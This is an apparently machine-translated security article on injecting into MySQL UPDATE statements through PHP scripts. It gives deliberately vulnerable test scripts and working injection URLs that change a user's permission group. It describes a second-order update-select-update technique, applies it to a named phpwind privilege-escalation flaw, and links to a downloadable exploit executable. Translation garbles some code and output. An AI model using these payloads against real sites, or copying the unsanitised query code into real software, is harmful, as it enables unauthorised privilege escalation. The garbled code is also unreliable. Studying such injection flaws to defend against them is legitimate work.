Two UPDATE injection modes (mysql + php)

Author: SuperHei article Nature: original release date: I. test environment OS: Windowsxpsp2php: php4.3.10mysql4.1.9apache1.3.33 II. test database structure -- database: 'test' ---------------------------------------------------------------- table structure 'useri author: SuperHei
Nature of the article: Original
Release date:

I. test environment

OS: Windows XP sp2
Php: php 4.3.10
Mysql 4.1.9
Apache 1.3.33

II. test the database structure

-- Database: 'test'
--

----------------------------------------------------------

--
-- Table structure 'userinfo'
--

Create table 'userinfo '(
'Groudid' varchar (12) not null default '1 ',
'User' varchar (12) not null default 'gigie ',
'Pass' varchar (122) not null default '123'
) TYPE = MyISAM;

--
-- Export the table data 'userinfo'
--

Insert into 'userinfo' VALUES ('2', 'heigi', '20140901 ')

III. test mode

1. the variable does not contain ''or ""

// Test1.php Mod1
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = $ p where user = 'gigie'"; // <-- $ P no single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo"

SQL Query: $ SQL

";
?>

The script only modifies the pass of user = 'gigie'. if groudid indicates the user's permission level, our goal is to modify the groupid by constructing $ p. Therefore, we submit:

Http: // 127.0.0.1/test1.php? P = 123456, groudid = 1

Query in mysql:

Mysql> select * from userinfo;
+ --------- + ------- + -------- +
| Groudid | user | pass |
+ --------- + ------- + -------- +
| 1 | heige | 123456 |
+ --------- + ------- + -------- +
1 row in set (0.01 sec)

The groudid of the user heige is changed to 1 in another 2 :)

Therefore, we can get the injection without ''or" "update", which is our Mode 1.

2. variables include ''or ""

// Test2.php
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = '$ P' where user = 'gigie'"; // <-- $ p use single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo"

SQL Query: $ SQL

";
?>

To disable 'construct $ p should be 123456 ', groudid = '2 submit:

Http: // 127.0.0.1/test2.php? P = 123456 ', groudid = '1

When gpc = on, 'changed to \', and the submitted statement changed:

SQL Query: update userinfo set pass = '2017 \ ', groudid = \ '1' where user = 'gigie'

Mysql Query:

Mysql> select * from userinfo;
+ --------- + ------- + -------------------- +
| Groudid | user | pass |
+ --------- + ------- + -------------------- +
| 2 | heige | 123456 ', groudid = '1 |
+ --------- + ------- + -------------------- +
1 row in set (0.00 sec)

Groudid is not modified. So when the variable is 'or "", is it completely not injected? The following figure shows the Mode 2:

// Test3.php Mod2
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = '$ P' where user = 'gigie'"; // <-- $ p use single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
Mysql_fetch_array ($ result); // write data of $ p to the database

$ SQL = "select pass from userinfo where user = 'gigie '";
$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo $ userinfo [0]; // output the pass query to $ userinfo [0]

$ SQL = "update userinfo set pass = '$ userinfo [0] 'Where user = 'gigie '";
$ Result = mysql_db_query ($ dbname, $ SQL );
Mysql_fetch_array ($ result); // update $ userinfo [0] again

?>

We will test and submit:

Http: // 127.0.0.1/test3.php? P = 123456 ', groudid = '1

Go back to mysql for query:

Mysql> select * from userinfo;
+ --------- + ------- + -------- +
| Groudid | user | pass |
+ --------- + ------- + -------- +
| 1 | heige | 123456 |
+ --------- + ------- + -------- +
1 row in set (0.00 sec)

HaHa ~~ The groudid is modified to 1 after successful injection. This is our model 2, which is briefly described as follows:

Update --> select --> update

IV. actual mode

Mode 1: Missing

Mode 2: phpwind 2.0.2 and 3.31e permission escalation vulnerability

Vulnerability Analysis

Update (the profile. php injection variable is in the $ proicon update statement, icon = '$ userdb [icon]')
Bytes
Select (jop. php)
Bytes
Updtate (jop. php)

Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

5. thanks

I am particularly grateful to saiy and other friends for their discussions and help. Thanks !!